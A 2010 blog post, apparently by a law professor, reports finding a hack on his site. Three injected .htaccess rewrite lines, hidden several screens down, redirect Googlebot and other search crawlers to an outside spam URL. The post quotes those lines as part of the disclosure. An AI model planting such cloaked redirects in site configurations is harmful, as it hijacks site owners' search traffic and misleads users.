Legal Commentary

Got 'em

By Professor University of Miami School of Law

I found the hack.

Someone managed to change the .htaccess file on this site to add these three lines several screens below the rest of the file (so it didn't show up if you opened it in an editor):

RewriteBase /
RewriteCond %{HTTP_USER_AGENT} (Googlebot|Slurp|msnbot)
RewriteRule ^ http://arbat.or.**/ [R=301,L]

…where the ** above were in fact the letters “at”.

That URL in turn redirects to a sub-page of a blog at triares.com.

I've changed all my passwords to the site; now I think I'll give a couple of days and see if they come back before asking google to reconsider me again…

The reason it took me so long to find this is that I usually use the spider simulator to check what google sees. But I guess it wasn't a good enough emulator; only when I used the true google-bot in the webmaster tools did the problem reveal itself.

Of course I have no idea how they got in. But I did find similar code in other sites under the same user, none of which were production sites, so I just killed them. I'm hoping it was something in one of those that hadn't been updated quickly enough that caused the problem.

Earlier entries: That's Odd (7/6), Google Woes (8/3), and No Joy From Google (8/12)

Full post as published by Discourse.net on August 14, 2010 (boomark / email).